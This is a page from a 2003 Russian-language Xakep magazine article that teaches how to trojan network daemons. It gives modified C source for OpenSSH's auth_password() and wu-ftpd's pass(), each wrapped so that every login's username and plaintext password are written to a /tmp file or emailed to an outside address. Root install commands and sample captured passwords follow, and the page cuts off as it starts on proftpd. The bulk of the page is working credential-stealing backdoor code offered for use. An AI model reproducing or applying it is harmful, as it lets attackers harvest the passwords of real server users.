Хакер № 11/03 (59)

C/C++: ковыряем сетевые демоны
Константин Клягин
Xakep, номер #059, стр. 059-094-2
$ grep -ir --include=*.c password * | less
Все оказалось довольно просто. Грамотно написанные и хорошо структурированные программы - это здорово. Оказывается, можно было и не искать вовсе, так как название файла auth-passwd.c говорит само за себя. Внутри находится функция auth_password(), так что теперь приступим к модификациям. Как выглядит начало функции, так сказать, в девственном виде, не привожу, а показываю сразу конечный вариант. В нем я переименовал функцию auth_password в auth_password1, а вместо auth_password поставил новый код:
Файл auth-passwd.c
...
#include "trashcan.c"
int auth_password1(Authctxt *authctxt, const char *password)
{
...
}
int auth_password(Authctxt *authctxt, const char *password)
{
trash("ssh", authctxt->user, password, 0);
// сохранить в файл
trash("ssh", authctxt->user, password, "vasya@pupkin.com");
// послать по е-мейлу
return auth_password1(authctxt, password);
}
Пароль - это второй параметр функции. А если посмотрим на первый и на определение структуры Authctxt, то увидим, что и имя юзверя у нас тоже в кармане.
Теперь заинсталим измененный вариант openssh. Запустим make, далее из-под рута прибьем запущенный ssh и стартуем новый:
# killall sshd; ./sshd
Проверим:
$ ssh localhost
vasya@localhost's password:
Permission denied, please try again.
vasya@localhost's password:
Permission denied, please try again.
vasya@localhost's password:
Last login: Sun Jul 6 11:57:57 2003 from localhost.localdomain
[vasya@host vasya]$
В файле /tmp/ssh.passwords мы найдем следующие записи:
user: vasya; password:
user: vasya; password: a
user: vasya; password: b
user: vasya; password: xxx
Если понравилось, то выполни make install, чтобы закрепить в системе добавленные изменения.
Патчим wu-ftpd
Следующим сервисом, который мы улучшим, будет wu-ftpd. Исходники берем с wu-ftpd.org. Тем же контекстным поиском находим место, где проверяется пароль - функция pass() в src/ftpd.c. Копируем в src/ заранее приготовленный файлик trashcan.c, меняем ftpd.c:
Файл ftpd.c
#include "trashcan.c"
void pass1(char *passwd)
{
...
}
void pass(char *passwd)
{
trash("ftp", the_user, passwd, 0);
pass1(passwd);
}
То, что глобальная переменная the_user содержит имя юзера, я узнал, прочитав код оригинальной функции pass(). Следующая строчка все для меня разъяснила:
if (pam_check_pass(the_user, passwd)) {
Собираем, инсталлируем из-под рута. Если никакой ftp-демон в системе еще не установлен, придется почитать инструкцию и повозиться. Если же все что надо уже прописано, мы просто заменим оригинальный демон на улучшенный. Теперь проверяем:
# ftp localhost
Connected to localhost (127.0.0.1).
220 localhost.localdomain FTP server (Version wu-2.6.2(1) Sun Jul 6 12:12:11 EEST 2003) ready.
Name (localhost:root): vasya
331 Password required for vasya.
Password:
530 Login incorrect.
Login failed.
ftp> 221 Goodbye.
Файл /tmp/ftp.passwords:
user: vasya; password: abc
Долбим proftpd
Кто-то может по вполне объяснимым причинам предпочитать proftpd как ftp-сервер, нежели wu-ftpd. Что ж, и для них у нас есть своя конфетка. Как обычно, вытаскиваем, распаковываем, ищем... Ура, вот оно - файл modules/mod_auth.c, _setup_environment() с комментарием "Authenticate the user here". Здесь можно даже не дублировать функцию, а просто вставить в ее начало вызов trash() после всех объявлений:
Назад на стр. 059-094-1 Содержание Вперед на стр. 059-094-3
|